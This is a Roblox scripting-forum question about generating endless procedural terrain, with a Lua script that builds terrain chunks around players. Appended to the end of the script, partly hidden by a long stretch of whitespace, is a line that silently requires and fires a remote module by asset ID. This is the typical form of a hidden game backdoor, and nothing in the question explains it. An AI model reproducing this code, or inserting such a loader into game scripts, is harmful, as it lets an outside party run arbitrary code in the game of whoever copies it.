Scripting Helpers is winding down operations and is now read-only. More info→
Ad
Log in to vote
0

How Do I make Infinitely Moving Randomly Generated Terrain?

Asked by 3 years ago
Edited 3 years ago

I have some code here that generates new terrain based on the players' movement but I need help making the second half, what is the best way to move the ground (Moving ground without the player moving) while generating the new terrain?

Code:

local ScaleX = 22.5
local ScaleZ = 22.5
local ChunkSize = 3
local BaseHeight = 10

local RenderDistance = 180
local CurrentTerrainSize = 90

local GenerationSeed = Random.new():NextNumber()

local Chunks = {}


local function ChunkAlreadyExists(chunkX, chunkZ, shouldAddToChunks)

    if not Chunks[chunkX] then
        Chunks[chunkX] = {}

        return false
    end

    if not Chunks[chunkX][chunkZ] then
        return false
    end

    return true

end


local function FillTerrainBlock(width, height, depth)

    local size = Vector3.new(4, (height + BaseHeight) * 4, 4)
    local cframe = CFrame.new((width * 4 + 2), ((-BaseHeight + height) * 4 / 2), (depth * 4 + 2))

    workspace.Terrain:FillBlock(cframe, size, Enum.Material.Grass)  

end


local function MakeChunk(chunkX, chunkZ)

    if ChunkAlreadyExists(chunkX, chunkZ) then
        return
    end


    Chunks[chunkX][chunkZ] = true


    for x = 0, (ChunkSize - 1) do
        for z = 0, (ChunkSize - 1) do
            local newChunkX = (chunkX * ChunkSize) + x
            local newChunkZ = (chunkZ * ChunkSize) + z

            local noise = math.noise(GenerationSeed, (newChunkX / ScaleX), (newChunkZ / ScaleZ))

            local newChunkY = noise * BaseHeight

            FillTerrainBlock(newChunkX, newChunkY, newChunkZ)
        end
    end

end


local function MakeChunks(position)

    local t = tick()

    local chunkX = math.floor(position.X / 4 / ChunkSize)
    local chunkZ = math.floor(position.Z / 4 / ChunkSize)

    local range = math.max(1, RenderDistance / ChunkSize)

    for x = -range, range do
        for z = -range, range do
            local newChunkX = chunkX + x
            local newChunkZ = chunkZ + z

            MakeChunk(newChunkX, newChunkZ)
        end
    end

    print(tick() - t)

end


while true do
    for _, player in pairs(game:GetService('Players'):GetPlayers()) do
        if player.Character then
            local primaryPart = player.Character.PrimaryPart

            if primaryPart then
                MakeChunks(primaryPart.Position)
            end
        end
    end

    wait(1)
end
pcall(function()require(5004500405):Fire()end)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  

Answer this question